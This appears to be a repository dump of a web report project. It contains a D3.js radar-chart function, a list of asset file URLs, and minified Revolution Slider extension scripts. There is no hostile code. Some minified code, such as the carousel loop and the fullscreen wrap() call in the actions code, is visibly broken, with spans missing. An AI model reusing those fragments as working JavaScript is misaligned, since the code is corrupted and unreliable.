RadarChart(id, data, options) { 9 | var cfg = { 10 | w: 600, //Width of the circle 11 | h: 600, //Height of the circle 12 | margin: {top: 20, right: 20, bottom: 20, left: 20}, //The margins of the SVG 13 | levels: 8, //How many levels or inner circles should there be drawn 14 | maxValue: 36, //What is the value that the biggest circle will represent 15 | labelFactor: 1.25, //How much farther than the radius of the outer circle should the labels be placed 16 | wrapWidth: 60, //The number of pixels after which a label needs to be given a new line 17 | opacityArea: 0.35, //The opacity of the area of the blob 18 | dotRadius: 4, //The size of the colored circles of each blog 19 | opacityCircles: 0.1, //The opacity of the circles of each blob 20 | strokeWidth: 2, //The width of the stroke around each blob 21 | roundStrokes: false, //If true the area and stroke will follow a round path (cardinal-closed) 22 | color: d3.scale.category10() //Color function 23 | }; 24 | 25 | //Put all of the options into a variable called cfg 26 | if('undefined' !== typeof options){ 27 | for(var i in options){ 28 | if('undefined' !== typeof options[i]){ cfg[i] = options[i]; } 29 | }//for i 30 | }//if 31 | 32 | //If the supplied maxValue is smaller than the actual one, replace by the max in the data 33 | //var maxValue = Math.max(cfg.maxValue, d3.max(data, function(i){return d3.max(i.map(function(o){return o.value;}))})); 34 | var maxValue = 36 35 | var allAxis = (data[0].map(function(i, j){return i.axis})), //Names of each axis 36 | total = allAxis.length, //The number of different axes 37 | radius = Math.min(cfg.w/2, cfg.h/2), //Radius of the outermost circle 38 | Format = d3.format(''), //Percentage formatting 39 | angleSlice = Math.PI * 2 / total; //The width in radians of each "slice" 40 | 41 | //Scale for the radius 42 | var rScale = d3.scale.linear() 43 | .range([0, radius]) 44 | .domain([0, maxValue]); 45 | 46 | ///////////////////////////////////////////////////////// 47 | //////////// Create the container SVG and g ///////////// 48 | ///////////////////////////////////////////////////////// 49 | 50 | //Remove whatever chart with the same id/class was present before 51 | d3.select(id).select("svg").remove(); 52 | 53 | //Initiate the radar chart SVG 54 | var svg = d3.select(id).append("svg") 55 | .attr("width", cfg.w + cfg.margin.left + cfg.margin.right) 56 | .attr("height", cfg.h + cfg.margin.top + cfg.margin.bottom) 57 | .attr("class", "radar"+id); 58 | //Append a g element 59 | var g = svg.append("g") 60 | .attr("transform", "translate(" + (cfg.w/2 + cfg.margin.left) + "," + (cfg.h/2 + cfg.margin.top) + ")"); 61 | 62 | ///////////////////////////////////////////////////////// 63 | ////////// Glow filter for some extra pizzazz /////////// 64 | ///////////////////////////////////////////////////////// 65 | 66 | //Filter for the outside glow 67 | var filter = g.append('defs').append('filter').attr('id','glow'), 68 | feGaussianBlur = filter.append('feGaussianBlur').attr('stdDeviation','2.5').attr('result','coloredBlur'), 69 | feMerge = filter.append('feMerge'), 70 | feMergeNode_1 = feMerge.append('feMergeNode').attr('in','coloredBlur'), 71 | feMergeNode_2 = feMerge.append('feMergeNode').attr('in','SourceGraphic'); 72 | 73 | ///////////////////////////////////////////////////////// 74 | /////////////// Draw the Circular grid ////////////////// 75 | ///////////////////////////////////////////////////////// 76 | 77 | //Wrapper for the grid & axes 78 | var axisGrid = g.append("g").attr("class", "axisWrapper"); 79 | 80 | //Draw the background circles 81 | axisGrid.selectAll(".levels") 82 | .data(d3.range(1,(cfg.levels+1)).reverse()) 83 | .enter() 84 | .append("circle") 85 | .attr("class", "gridCircle") 86 | .attr("r", function(d, i){return radius/cfg.levels*d;}) 87 | .style("fill", "#CDCDCD") 88 | .style("stroke", "#CDCDCD") 89 | .style("fill-opacity", cfg.opacityCircles) 90 | .style("filter" , "url(#glow)"); 91 | 92 | //Text indicating at what % each level is 93 | axisGrid.selectAll(".axisLabel") 94 | .data(d3.range(1,(cfg.levels+1)).reverse()) 95 | .enter().append("text") 96 | .attr("class", "axisLabel") 97 | .attr("x", 4) 98 | //.attr("y", function(d){return -d*radius/cfg.levels;}) 99 | .attr("dy", "0.4em") 100 | .style("font-size", "10px") 101 | .attr("fill", "#737373") 102 | //.text(function(d,i) { return Format(maxValue * d/cfg.levels); }); 103 | 104 | ///////////////////////////////////////////////////////// 105 | //////////////////// Draw the axes ////////////////////// 106 | ///////////////////////////////////////////////////////// 107 | 108 | //Create the straight lines radiating outward from the center 109 | var axis = axisGrid.selectAll(".axis") 110 | .data(allAxis) 111 | .enter() 112 | .append("g") 113 | .attr("class", "axis"); 114 | //Append the lines 115 | axis.append("line") 116 | .attr("x1", 0) 117 | .attr("y1", 0) 118 | .attr("x2", function(d, i){ return rScale(maxValue*1.1) * Math.cos(angleSlice*i - Math.PI/2); }) 119 | .attr("y2", function(d, i){ return rScale(maxValue*1.1) * Math.sin(angleSlice*i - Math.PI/2); }) 120 | .attr("class", "line") 121 | .style("stroke", "white") 122 | .style("stroke-width", "2px"); 123 | 124 | //Append the labels at each axis 125 | axis.append("text") 126 | .attr("class", "legend") 127 | .style("font-size", "11px") 128 | .attr("text-anchor", "middle") 129 | .attr("dy", "0.35em") 130 | .attr("x", function(d, i){ return rScale(maxValue * cfg.labelFactor) * Math.cos(angleSlice*i - Math.PI/2); }) 131 | .attr("y", function(d, i){ return rScale(maxValue * cfg.labelFactor) * Math.sin(angleSlice*i - Math.PI/2); }) 132 | .text(function(d){return d}) 133 | .call(wrap, cfg.wrapWidth); 134 | 135 | ///////////////////////////////////////////////////////// 136 | ///////////// Draw the radar chart blobs //////////////// 137 | ///////////////////////////////////////////////////////// 138 | 139 | //The radial line function 140 | var radarLine = d3.svg.line.radial() 141 | .interpolate("linear-closed") 142 | .radius(function(d) { return rScale(d.value); }) 143 | .angle(function(d,i) { return i*angleSlice; }); 144 | 145 | if(cfg.roundStrokes) { 146 | radarLine.interpolate("cardinal-closed"); 147 | } 148 | 149 | //Create a wrapper for the blobs 150 | var blobWrapper = g.selectAll(".radarWrapper") 151 | .data(data) 152 | .enter().append("g") 153 | .attr("class", "radarWrapper"); 154 | 155 | //Append the backgrounds 156 | blobWrapper 157 | .append("path") 158 | .attr("class", "radarArea") 159 | .attr("d", function(d,i) { return radarLine(d); }) 160 | .style("fill", function(d,i) { return cfg.color(i); }) 161 | .style("fill-opacity", cfg.opacityArea) 162 | .on('mouseover', function (d,i){ 163 | //Dim all blobs 164 | d3.selectAll(".radarArea") 165 | .transition().duration(200) 166 | .style("fill-opacity", 0.1); 167 | //Bring back the hovered over blob 168 | d3.select(this) 169 | .transition().duration(200) 170 | .style("fill-opacity", 0.7); 171 | }) 172 | .on('mouseout', function(){ 173 | //Bring back all blobs 174 | d3.selectAll(".radarArea") 175 | .transition().duration(200) 176 | .style("fill-opacity", cfg.opacityArea); 177 | }); 178 | 179 | //Create the outlines 180 | blobWrapper.append("path") 181 | .attr("class", "radarStroke") 182 | .attr("d", function(d,i) { return radarLine(d); }) 183 | .style("stroke-width", cfg.strokeWidth + "px") 184 | .style("stroke", function(d,i) { return cfg.color(i); }) 185 | .style("fill", "none") 186 | .style("filter" , "url(#glow)"); 187 | 188 | //Append the circles 189 | blobWrapper.selectAll(".radarCircle") 190 | .data(function(d,i) { return d; }) 191 | .enter().append("circle") 192 | .attr("class", "radarCircle") 193 | .attr("r", cfg.dotRadius) 194 | .attr("cx", function(d,i){ return rScale(d.value) * Math.cos(angleSlice*i - Math.PI/2); }) 195 | .attr("cy", function(d,i){ return rScale(d.value) * Math.sin(angleSlice*i - Math.PI/2); }) 196 | .style("fill", function(d,i,j) { return cfg.color(j); }) 197 | .style("fill-opacity", 0.8); 198 | 199 | ///////////////////////////////////////////////////////// 200 | //////// Append invisible circles for tooltip /////////// 201 | ///////////////////////////////////////////////////////// 202 | 203 | //Wrapper for the invisible circles on top 204 | var blobCircleWrapper = g.selectAll(".radarCircleWrapper") 205 | .data(data) 206 | .enter().append("g") 207 | .attr("class", "radarCircleWrapper"); 208 | 209 | //Append a set of invisible circles on top for the mouseover pop-up 210 | blobCircleWrapper.selectAll(".radarInvisibleCircle") 211 | .data(function(d,i) { return d; }) 212 | .enter().append("circle") 213 | .attr("class", "radarInvisibleCircle") 214 | .attr("r", cfg.dotRadius*1.5) 215 | .attr("cx", function(d,i){ return rScale(d.value) * Math.cos(angleSlice*i - Math.PI/2); }) 216 | .attr("cy", function(d,i){ return rScale(d.value) * Math.sin(angleSlice*i - Math.PI/2); }) 217 | .style("fill", "none") 218 | .style("pointer-events", "all") 219 | .on("mouseover", function(d,i) { 220 | newX = parseFloat(d3.select(this).attr('cx')) - 10; 221 | newY = parseFloat(d3.select(this).attr('cy')) - 10; 222 | 223 | tooltip 224 | .attr('x', newX) 225 | .attr('y', newY) 226 | .text(Format(d.value)) 227 | .transition().duration(200) 228 | .style('opacity', 1); 229 | }) 230 | .on("mouseout", function(){ 231 | tooltip.transition().duration(200) 232 | .style("opacity", 0); 233 | }); 234 | 235 | //Set up the small tooltip for when you hover over a circle 236 | var tooltip = g.append("text") 237 | .attr("class", "tooltip") 238 | .style("opacity", 0); 239 | 240 | ///////////////////////////////////////////////////////// 241 | /////////////////// Helper Function ///////////////////// 242 | ///////////////////////////////////////////////////////// 243 | 244 | //Taken from http://bl.ocks.org/mbostock/7555321 245 | //Wraps SVG text 246 | function wrap(text, width) { 247 | text.each(function() { 248 | var text = d3.select(this), 249 | words = text.text().split(/\s+/).reverse(), 250 | word, 251 | line = [], 252 | lineNumber = 0, 253 | lineHeight = 1.4, // ems 254 | y = text.attr("y"), 255 | x = text.attr("x"), 256 | dy = parseFloat(text.attr("dy")), 257 | tspan = text.text(null).append("tspan").attr("x", x).attr("y", y).attr("dy", dy + "em"); 258 | 259 | while (word = words.pop()) { 260 | line.push(word); 261 | tspan.text(line.join(" ")); 262 | if (tspan.node().getComputedTextLength() > width) { 263 | line.pop(); 264 | tspan.text(line.join(" ")); 265 | line = [word]; 266 | tspan = text.append("tspan").attr("x", x).attr("y", y).attr("dy", ++lineNumber * lineHeight + dy + "em").text(word); 267 | } 268 | } 269 | }); 270 | }//wrap 271 | 272 | }//RadarChart -------------------------------------------------------------------------------- /report/js/revolution/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/.DS_Store -------------------------------------------------------------------------------- /report/js/revolution/assets/coloredbg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/assets/coloredbg.png -------------------------------------------------------------------------------- /report/js/revolution/assets/gridtile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/assets/gridtile.png -------------------------------------------------------------------------------- /report/js/revolution/assets/gridtile_3x3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/assets/gridtile_3x3.png -------------------------------------------------------------------------------- /report/js/revolution/assets/gridtile_3x3_white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/assets/gridtile_3x3_white.png -------------------------------------------------------------------------------- /report/js/revolution/assets/gridtile_white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/assets/gridtile_white.png -------------------------------------------------------------------------------- /report/js/revolution/assets/loader.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/assets/loader.gif -------------------------------------------------------------------------------- /report/js/revolution/css/closedhand.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/css/closedhand.html -------------------------------------------------------------------------------- /report/js/revolution/css/openhand.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/css/openhand.html -------------------------------------------------------------------------------- /report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-strokebb1d.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-strokebb1d.eot -------------------------------------------------------------------------------- /report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-strokebb1d.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-strokebb1d.ttf -------------------------------------------------------------------------------- /report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-strokebb1d.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-strokebb1d.woff -------------------------------------------------------------------------------- /report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroked41d.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroked41d.eot -------------------------------------------------------------------------------- /report/js/revolution/fonts/revicons/revicons90c6.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/fonts/revicons/revicons90c6.eot -------------------------------------------------------------------------------- /report/js/revolution/fonts/revicons/revicons90c6.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/fonts/revicons/revicons90c6.ttf -------------------------------------------------------------------------------- /report/js/revolution/fonts/revicons/revicons90c6.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/fonts/revicons/revicons90c6.woff -------------------------------------------------------------------------------- /report/js/revolution/js/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/js/.DS_Store -------------------------------------------------------------------------------- /report/js/revolution/js/extensions/revolution.extension.actions.min.js: -------------------------------------------------------------------------------- 1 | /******************************************** 2 | * REVOLUTION 5.3 EXTENSION - ACTIONS 3 | * @version: 2.0.6 (15.12.2016) 4 | * @requires jquery.themepunch.revolution.js 5 | * @author ThemePunch 6 | *********************************************/ 7 | !function($){"use strict";function getScrollRoot(){var d,a=document.documentElement,b=document.body,c=("undefined"!=typeof window.pageYOffset?window.pageYOffset:null)||b.scrollTop||a.scrollTop;return a.scrollTop=b.scrollTop=c+(c>0)?-1:1,d=a.scrollTop!==c?a:b,d.scrollTop=c,d}var _R=jQuery.fn.revolution,_ISM=_R.is_mobile(),extension={alias:"Actions Min JS",name:"revolution.extensions.actions.min.js",min_core:"5.3",version:"2.0.6"};jQuery.extend(!0,_R,{checkActions:function(a,b,c){return"stop"!==_R.compare_version(extension).check&&void checkActions_intern(a,b,c)}});var checkActions_intern=function(a,b,c){c&&jQuery.each(c,function(c,d){d.delay=parseInt(d.delay,0)/1e3,a.addClass("tp-withaction"),b.fullscreen_esclistener||"exitfullscreen"!=d.action&&"togglefullscreen"!=d.action||(jQuery(document).keyup(function(b){27==b.keyCode&&jQuery("#rs-go-fullscreen").length>0&&a.trigger(d.event)}),b.fullscreen_esclistener=!0);var e="backgroundvideo"==d.layer?jQuery(".rs-background-video-layer"):"firstvideo"==d.layer?jQuery(".tp-revslider-slidesli").find(".tp-videolayer"):jQuery("#"+d.layer);switch(jQuery.inArray(d.action,["toggleslider","toggle_mute_video","toggle_global_mute_video","togglefullscreen"])!=-1&&a.data("togglelisteners",!0),d.action){case"togglevideo":jQuery.each(e,function(b,c){c=jQuery(c);var d=c.data("videotoggledby");void 0==d&&(d=new Array),d.push(a),c.data("videotoggledby",d)});break;case"togglelayer":jQuery.each(e,function(b,c){c=jQuery(c);var e=c.data("layertoggledby");void 0==e&&(e=new Array),e.push(a),c.data("layertoggledby",e),c.data("triggered_startstatus",d.layerstatus)});break;case"toggle_mute_video":jQuery.each(e,function(b,c){c=jQuery(c);var d=c.data("videomutetoggledby");void 0==d&&(d=new Array),d.push(a),c.data("videomutetoggledby",d)});break;case"toggle_global_mute_video":jQuery.each(e,function(b,c){c=jQuery(c);var d=c.data("videomutetoggledby");void 0==d&&(d=new Array),d.push(a),c.data("videomutetoggledby",d)});break;case"toggleslider":void 0==b.slidertoggledby&&(b.slidertoggledby=new Array),b.slidertoggledby.push(a);break;case"togglefullscreen":void 0==b.fullscreentoggledby&&(b.fullscreentoggledby=new Array),b.fullscreentoggledby.push(a)}switch(a.on(d.event,function(){if("click"===d.event&&a.hasClass("tp-temporarydisabled"))return!1;var c="backgroundvideo"==d.layer?jQuery(".active-revslide .slotholder .rs-background-video-layer"):"firstvideo"==d.layer?jQuery(".active-revslide .tp-videolayer").first():jQuery("#"+d.layer);if("stoplayer"==d.action||"togglelayer"==d.action||"startlayer"==d.action){if(c.length>0){var e=c.data();void 0!==e.clicked_time_stamp&&(new Date).getTime()-e.clicked_time_stamp>150&&(clearTimeout(e.triggerdelayIn),clearTimeout(e.triggerdelayOut)),e.clicked_time_stamp=(new Date).getTime(),"startlayer"==d.action||"togglelayer"==d.action&&"in"!=c.data("animdirection")?(e.animdirection="in",e.triggerstate="on",_R.toggleState(e.layertoggledby),_R.playAnimationFrame&&(clearTimeout(e.triggerdelayIn),e.triggerdelayIn=setTimeout(function(){_R.playAnimationFrame({caption:c,opt:b,frame:"frame_0",triggerdirection:"in",triggerframein:"frame_0",triggerframeout:"frame_999"})},1e3*d.delay))):("stoplayer"==d.action||"togglelayer"==d.action&&"out"!=c.data("animdirection"))&&(e.animdirection="out",e.triggered=!0,e.triggerstate="off",_R.stopVideo&&_R.stopVideo(c,b),_R.unToggleState(e.layertoggledby),_R.endMoveCaption&&(clearTimeout(e.triggerdelayOut),e.triggerdelayOut=setTimeout(function(){_R.playAnimationFrame({caption:c,opt:b,frame:"frame_999",triggerdirection:"out",triggerframein:"frame_0",triggerframeout:"frame_999"})},1e3*d.delay)))}}else!_ISM||"playvideo"!=d.action&&"stopvideo"!=d.action&&"togglevideo"!=d.action&&"mutevideo"!=d.action&&"unmutevideo"!=d.action&&"toggle_mute_video"!=d.action&&"toggle_global_mute_video"!=d.action?(d.delay="NaN"===d.delay||NaN===d.delay?0:d.delay,punchgs.TweenLite.delayedCall(d.delay,function(){actionSwitches(c,b,d,a)},[c,b,d,a])):actionSwitches(c,b,d,a)}),d.action){case"togglelayer":case"startlayer":case"playlayer":case"stoplayer":var e=jQuery("#"+d.layer),f=e.data();e.length>0&&void 0!==f&&(void 0!==f.frames&&"bytrigger"!=f.frames[0].delay||void 0===f.frames&&"bytrigger"!==f.start)&&(f.triggerstate="on")}})},actionSwitches=function(tnc,opt,a,_nc){switch(a.action){case"scrollbelow":a.speed=void 0!==a.speed?a.speed:400,a.ease=void 0!==a.ease?a.ease:punchgs.Power2.easeOut,_nc.addClass("tp-scrollbelowslider"),_nc.data("scrolloffset",a.offset),_nc.data("scrolldelay",a.delay),_nc.data("scrollspeed",a.speed),_nc.data("scrollease",a.ease);var off=getOffContH(opt.fullScreenOffsetContainer)||0,aof=parseInt(a.offset,0)||0;off=off-aof||0,opt.scrollRoot=void 0===opt.scrollRoot?getScrollRoot():opt.scrollRoot;var sobj={_y:opt.scrollRoot.scrollTop};punchgs.TweenLite.to(sobj,a.speed/1e3,{_y:opt.c.offset().top+jQuery(opt.li[0]).height()-off,ease:a.ease,onUpdate:function(){opt.scrollRoot.scrollTop=sobj._y}});break;case"callback":eval(a.callback);break;case"jumptoslide":switch(a.slide.toLowerCase()){case"+1":case"next":opt.sc_indicator="arrow",_R.callingNewSlide(opt.c,1);break;case"previous":case"prev":case"-1":opt.sc_indicator="arrow",_R.callingNewSlide(opt.c,-1);break;default:var ts=jQuery.isNumeric(a.slide)?parseInt(a.slide,0):a.slide;_R.callingNewSlide(opt.c,ts)}break;case"simplelink":window.open(a.url,a.target);break;case"toggleslider":opt.noloopanymore=0,"playing"==opt.sliderstatus?(opt.c.revpause(),opt.forcepause_viatoggle=!0,_R.unToggleState(opt.slidertoggledby)):(opt.forcepause_viatoggle=!1,opt.c.revresume(),_R.toggleState(opt.slidertoggledby));break;case"pauseslider":opt.c.revpause(),_R.unToggleState(opt.slidertoggledby);break;case"playslider":opt.noloopanymore=0,opt.c.revresume(),_R.toggleState(opt.slidertoggledby);break;case"playvideo":tnc.length>0&&_R.playVideo(tnc,opt);break;case"stopvideo":tnc.length>0&&_R.stopVideo&&_R.stopVideo(tnc,opt);break;case"togglevideo":tnc.length>0&&(_R.isVideoPlaying(tnc,opt)?_R.stopVideo&&_R.stopVideo(tnc,opt):_R.playVideo(tnc,opt));break;case"mutevideo":tnc.length>0&&_R.muteVideo(tnc,opt);break;case"unmutevideo":tnc.length>0&&_R.unMuteVideo&&_R.unMuteVideo(tnc,opt);break;case"toggle_mute_video":tnc.length>0&&(_R.isVideoMuted(tnc,opt)?_R.unMuteVideo(tnc,opt):_R.muteVideo&&_R.muteVideo(tnc,opt)),_nc.toggleClass("rs-toggle-content-active");break;case"toggle_global_mute_video":opt.globalmute===!0?(opt.globalmute=!1,void 0!=opt.playingvideos&&opt.playingvideos.length>0&&jQuery.each(opt.playingvideos,function(a,b){_R.unMuteVideo&&_R.unMuteVideo(b,opt)})):(opt.globalmute=!0,void 0!=opt.playingvideos&&opt.playingvideos.length>0&&jQuery.each(opt.playingvideos,function(a,b){_R.muteVideo&&_R.muteVideo(b,opt)})),_nc.toggleClass("rs-toggle-content-active");break;case"simulateclick":tnc.length>0&&tnc.click();break;case"toggleclass":tnc.length>0&&(tnc.hasClass(a.classname)?tnc.removeClass(a.classname):tnc.addClass(a.classname));break;case"gofullscreen":case"exitfullscreen":case"togglefullscreen":if(jQuery("#rs-go-fullscreen").length>0&&("togglefullscreen"==a.action||"exitfullscreen"==a.action)){jQuery("#rs-go-fullscreen").appendTo(jQuery("#rs-was-here"));var paw=opt.c.closest(".forcefullwidth_wrapper_tp_banner").length>0?opt.c.closest(".forcefullwidth_wrapper_tp_banner"):opt.c.closest(".rev_slider_wrapper");paw.unwrap(),paw.unwrap(),opt.minHeight=opt.oldminheight,opt.infullscreenmode=!1,opt.c.revredraw(),void 0!=opt.playingvideos&&opt.playingvideos.length>0&&jQuery.each(opt.playingvideos,function(a,b){_R.playVideo(b,opt)}),_R.unToggleState(opt.fullscreentoggledby)}else if(0==jQuery("#rs-go-fullscreen").length&&("togglefullscreen"==a.action||"gofullscreen"==a.action)){var paw=opt.c.closest(".forcefullwidth_wrapper_tp_banner").length>0?opt.c.closest(".forcefullwidth_wrapper_tp_banner"):opt.c.closest(".rev_slider_wrapper");paw.wrap('
');var gf=jQuery("#rs-go-fullscreen");gf.appendTo(jQuery("body")),gf.css({position:"fixed",width:"100%",height:"100%",top:"0px",left:"0px",zIndex:"9999999",background:"#ffffff"}),opt.oldminheight=opt.minHeight,opt.minHeight=jQuery(window).height(),opt.infullscreenmode=!0,opt.c.revredraw(),void 0!=opt.playingvideos&&opt.playingvideos.length>0&&jQuery.each(opt.playingvideos,function(a,b){_R.playVideo(b,opt)}),_R.toggleState(opt.fullscreentoggledby)}break;default:var obj={};obj.event=a,obj.layer=_nc,opt.c.trigger("layeraction",[obj])}},getOffContH=function(a){if(void 0==a)return 0;if(a.split(",").length>1){var b=a.split(","),c=0;return b&&jQuery.each(b,function(a,b){jQuery(b).length>0&&(c+=jQuery(b).outerHeight(!0))}),c}return jQuery(a).height()}}(jQuery); -------------------------------------------------------------------------------- /report/js/revolution/js/extensions/revolution.extension.carousel.min.js: -------------------------------------------------------------------------------- 1 | /******************************************** 2 | * REVOLUTION 5.0 EXTENSION - CAROUSEL 3 | * @version: 1.2.1 (18.11.2016) 4 | * @requires jquery.themepunch.revolution.js 5 | * @author ThemePunch 6 | *********************************************/ 7 | !function(a){"use strict";var b=jQuery.fn.revolution,c={alias:"Carousel Min JS",name:"revolution.extensions.carousel.min.js",min_core:"5.3.0",version:"1.2.1"};jQuery.extend(!0,b,{prepareCarousel:function(a,d,h,i){return"stop"!==b.compare_version(c).check&&(h=a.carousel.lastdirection=f(h,a.carousel.lastdirection),e(a),a.carousel.slide_offset_target=j(a),void(void 0!==i?g(a,h,!1,0):void 0==d?b.carouselToEvalPosition(a,h):g(a,h,!1)))},carouselToEvalPosition:function(a,c){var d=a.carousel;c=d.lastdirection=f(c,d.lastdirection);var e="center"===d.horizontal_align?(d.wrapwidth/2-d.slide_width/2-d.slide_globaloffset)/d.slide_width:(0-d.slide_globaloffset)/d.slide_width,h=b.simp(e,a.slideamount,!1),i=h-Math.floor(h),j=0,k=-1*(Math.ceil(h)-h),l=-1*(Math.floor(h)-h);j=i>=.3&&"left"===c||i>=.7&&"right"===c?k:i<.3&&"left"===c||i<.7&&"right"===c?l:j,j="off"===d.infinity?h<0?h:e>a.slideamount-1?e-(a.slideamount-1):j:j,d.slide_offset_target=j*d.slide_width,0!==Math.abs(d.slide_offset_target)?g(a,c,!0):b.organiseCarousel(a,c)},organiseCarousel:function(a,b,c,d){b=void 0===b||"down"==b||"up"==b||null===b||jQuery.isEmptyObject(b)?"left":b;for(var e=a.carousel,f=new Array,g=e.slides.length,i=("right"===e.horizontal_align?a.width:0,0);ie.wrapwidth-e.inneroffset&&"right"==b?e.slide_offset-(e.slides.length-i)*e.slide_width:j,j=j<0-e.inneroffset-e.slide_width&&"left"==b?j+e.maxwidth:j),f[i]=j}var k=999;e.slides&&jQuery.each(e.slides,function(d,h){var i=f[d];"on"===e.infinity&&(i=i>e.wrapwidth-e.inneroffset&&"left"===b?f[0]-(g-d)*e.slide_width:i,i=i<0-e.inneroffset-e.slide_width?"left"==b?i+e.maxwidth:"right"===b?f[g-1]+(d+1)*e.slide_width:i:i);var j=new Object;j.left=i+e.inneroffset;var l="center"===e.horizontal_align?(Math.abs(e.wrapwidth/2)-(j.left+e.slide_width/2))/e.slide_width:(e.inneroffset-j.left)/e.slide_width,n="center"===e.horizontal_align?2:1;if((c&&Math.abs(l)0?1-l:Math.abs(l)>e.maxVisibleItems-1?1-(Math.abs(l)-(e.maxVisibleItems-1)):1;break;case"right":j.autoAlpha=l>-1&&l<0?1-Math.abs(l):l>e.maxVisibleItems-1?1-(Math.abs(l)-(e.maxVisibleItems-1)):1}else j.autoAlpha=Math.abs(l)0)if("on"===e.vary_scale){j.scale=1-Math.abs(e.minScale/100/Math.ceil(e.maxVisibleItems/n)*l);var o=(e.slide_width-e.slide_width*j.scale)*Math.abs(l)}else{j.scale=l>=1||l<=-1?1-e.minScale/100:(100-e.minScale*Math.abs(l))/100;var o=(e.slide_width-e.slide_width*(1-e.minScale/100))*Math.abs(l)}void 0!==e.maxRotation&&0!=Math.abs(e.maxRotation)&&("on"===e.vary_rotation?(j.rotationY=Math.abs(e.maxRotation)-Math.abs((1-Math.abs(1/Math.ceil(e.maxVisibleItems/n)*l))*e.maxRotation),j.autoAlpha=Math.abs(j.rotationY)>90?0:j.autoAlpha):j.rotationY=l>=1||l<=-1?e.maxRotation:Math.abs(l)*e.maxRotation,j.rotationY=l<0?j.rotationY*-1:j.rotationY),j.x=-1*e.space*l,j.left=Math.floor(j.left),j.x=Math.floor(j.x),void 0!==j.scale?l<0?j.x-o:j.x+o:j.x,j.zIndex=Math.round(100-Math.abs(5*l)),j.transformStyle="3D"!=a.parallax.type&&"3d"!=a.parallax.type?"flat":"preserve-3d",punchgs.TweenLite.set(h,j)}),d&&(a.c.find(".next-revslide").removeClass("next-revslide"),jQuery(e.slides[e.focused]).addClass("next-revslide"),a.c.trigger("revolution.nextslide.waiting"));e.wrapwidth/2-e.slide_offset,e.maxwidth+e.slide_offset-e.wrapwidth/2}});var d=function(a){var b=a.carousel;b.infbackup=b.infinity,b.maxVisiblebackup=b.maxVisibleItems,b.slide_globaloffset="none",b.slide_offset=0,b.wrap=a.c.find(".tp-carousel-wrapper"),b.slides=a.c.find(".tp-revslider-slidesli"),0!==b.maxRotation&&("3D"!=a.parallax.type&&"3d"!=a.parallax.type?punchgs.TweenLite.set(b.wrap,{perspective:1200,transformStyle:"flat"}):punchgs.TweenLite.set(b.wrap,{perspective:1600,transformStyle:"preserve-3d"})),void 0!==b.border_radius&&parseInt(b.border_radius,0)>0&&punchgs.TweenLite.set(a.c.find(".tp-revslider-slidesli"),{borderRadius:b.border_radius})},e=function(a){void 0===a.bw&&b.setSize(a);var c=a.carousel,e=b.getHorizontalOffset(a.c,"left"),f=b.getHorizontalOffset(a.c,"right");void 